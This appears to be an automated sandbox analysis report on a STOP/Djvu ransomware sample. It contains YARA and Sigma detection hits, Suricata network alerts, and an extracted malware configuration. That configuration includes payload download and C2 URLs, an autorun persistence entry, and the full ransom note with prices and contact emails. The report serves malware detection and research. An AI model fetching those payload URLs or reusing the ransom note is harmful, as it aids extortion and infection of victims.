7.2.16oApcahEa.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.16oApcahEa.exe.4ce15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.16oApcahEa.exe.4ce15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.16oApcahEa.exe.4ce15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.16oApcahEa.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.16oApcahEa.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.16oApcahEa.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.16oApcahEa.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.16oApcahEa.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.16oApcahEa.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.16oApcahEa.exe.4d515a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.16oApcahEa.exe.4d515a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.16oApcahEa.exe.4d515a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.16oApcahEa.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.16oApcahEa.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.16oApcahEa.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.16oApcahEa.exe.4c915a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.16oApcahEa.exe.4c915a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.16oApcahEa.exe.4c915a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.16oApcahEa.exe.4ce15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.16oApcahEa.exe.4ce15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.16oApcahEa.exe.4ce15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.16oApcahEa.exe.4ce15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.16oApcahEa.exe.4ce15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.16oApcahEa.exe.4ce15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.16oApcahEa.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.16oApcahEa.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.16oApcahEa.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.16oApcahEa.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.16oApcahEa.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.16oApcahEa.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.16oApcahEa.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.16oApcahEa.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.16oApcahEa.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.2.16oApcahEa.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.2.16oApcahEa.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.2.16oApcahEa.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.16oApcahEa.exe.4d515a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.16oApcahEa.exe.4d515a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.16oApcahEa.exe.4d515a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.16oApcahEa.exe.4cd15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.16oApcahEa.exe.4cd15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.16oApcahEa.exe.4cd15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.2.16oApcahEa.exe.4c915a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.2.16oApcahEa.exe.4c915a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.2.16oApcahEa.exe.4c915a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.16oApcahEa.exe.4cd15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.16oApcahEa.exe.4cd15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.16oApcahEa.exe.4cd15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.16oApcahEa.exe.4ce15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.16oApcahEa.exe.4ce15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.16oApcahEa.exe.4ce15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 55 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\16oApcahEa.exe, ProcessId: 6388, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Suricata Signatures

ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T22:03:27.095913+0100	2020826	1	A Network Trojan was detected	192.168.2.5	49706	92.246.89.93	80	TCP

ET MALWARE Win32/Vodkagats Loader Requesting Payload

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T22:03:27.095913+0100	2036333	1	A Network Trojan was detected	192.168.2.5	49706	92.246.89.93	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T22:03:00.965283+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49704	104.21.32.1	443	TCP
2025-01-01T22:03:06.419543+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49705	104.21.32.1	443	TCP
2025-01-01T22:03:08.537470+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49707	104.21.32.1	443	TCP
2025-01-01T22:03:16.026650+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49711	104.21.32.1	443	TCP
2025-01-01T22:03:24.138211+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49762	104.21.32.1	443	TCP
2025-01-01T22:03:27.095913+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49706	92.246.89.93	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 16oApcahEa.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe

Avira: detection malicious, Label: HEUR/AGEN.1316641

Found malware configuration

Source: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Djvu {"Download URLs": ["http://znpst.top/dl/build2.exe", "http://rlrz.org/files/1/build3.exe"], "C2 url": "http://rlrz.org/fhsgtsspen6/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-xl2bbDnZSN\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nmanager@mailtemp.ch\r\n\r\nReserve e-mail address to contact us:\r\nsupporthelp@airmail.cc\r\n\r\nYour personal ID:\r\n0338gSd743d", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package 